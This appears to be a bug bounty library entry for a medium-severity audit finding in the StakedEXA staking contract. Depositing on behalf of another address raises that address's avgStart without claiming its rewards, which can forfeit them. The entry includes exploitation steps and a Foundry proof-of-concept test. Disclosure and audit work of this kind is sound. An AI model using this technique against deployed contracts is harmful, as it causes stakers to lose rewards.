# Depositing to another receiver othan than `msg.sender` will lead to stuck funds by increasing `avgStart` without claiming

StakedEXA._update claims rewards for msg.sender while minting to a different `to`, so avgStart[to] rises unclaimed, delaying or forfeiting the receiver's rewards.

- Payout: Audit contest
- Severity: medium
- Program: Exactly Stacking Contracts
- Found by: 0x73696d616f
- Disclosed: 2024-07-17
- Write-up quality: 6/10
- Original: https://github.com/sherlock-audit/2024-07-exactly-stacking-contracts-judging/issues/21
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-07-exactly-stacking-contracts%3AM-1
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:medium tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:business-logic

**Target:** StakedEXA staking/reward contract (Solidity)
**Root cause:** _update() calls _claim(reward) which credits msg.sender, but the mint/deposit may be to a different `to` address; avgStart[to] is increased without first claiming to `to`.
**Steps:**
1. Deposit assets to address(this) via stEXA.deposit(assets, address(this)); avgStart set to initTime.
2. Skip minTime+1; rawClaimable/earned accrue for address(this).
3. From another account, call stEXA.deposit(assets, address(this)) (mint to a different receiver).
4. Observe avgStart(address(this)) becomes (initTime+finalTime)/2 and rawClaimable resets to 0 while earned stays flat — rewards not claimed before avgStart shift.
**How found:** Code reading of StakedEXA._update()/claim path: noticed _claim targets msg.sender while deposit's `to` can differ, then wrote a Foundry PoC asserting avgStart shift and rawClaimable reset.
**Exploitation:** Any depositor mints to a victim's address; the victim's avgStart is averaged upward without a claim, so accrued rewards vest over a new 24-week window. If the victim withdraws before re-vesting, claimWithdraw() routes the unclaimed rewards to savings instead of the user, causing loss.
**Insight:** In staking/reward contracts, audit every internal claim for whether it credits msg.sender vs the actual beneficiary parameter (`to`/`receiver`); a mismatched beneficiary silently resets vesting baselines on third-party deposits.

## Proof of concept (copied exactly from the original report)

**PoC test depositing to another receiver without claim**

```
function test_POC_increaseBalance_withoutClaim() external {
  uint256 assets = 1e18;
  uint256 time = minTime;

  exa.mint(address(this), assets);
  stEXA.deposit(assets, address(this));

  uint256 initTime = block.timestamp * 1e18;
  skip(time + 1);
  uint256 finalTime = block.timestamp * 1e18;

  assertEq(rA.balanceOf(address(this)), 0);
  assertEq(stEXA.avgStart(address(this)), initTime);
  assertEq(stEXA.rawClaimable(rA, address(this), assets), 20833367779982251207);
  assertEq(stEXA.earned(rA, address(this), assets), 41666735559964287164);

  address anotherAccount = makeAddr("AnotherAccount");
  exa.mint(anotherAccount, assets);
  vm.startPrank(anotherAccount);
  exa.approve(address(stEXA), assets);
  stEXA.deposit(assets, address(this));
  vm.stopPrank();

  uint256 newAssets = 2*assets;

  assertEq(rA.balanceOf(address(this)), 0);
  assertEq(stEXA.avgStart(address(this)), (initTime + finalTime) / 2);
  assertEq(stEXA.rawClaimable(rA, address(this), newAssets), 0);
  assertEq(stEXA.earned(rA, address(this), newAssets), 41666735559964287164);
}
```

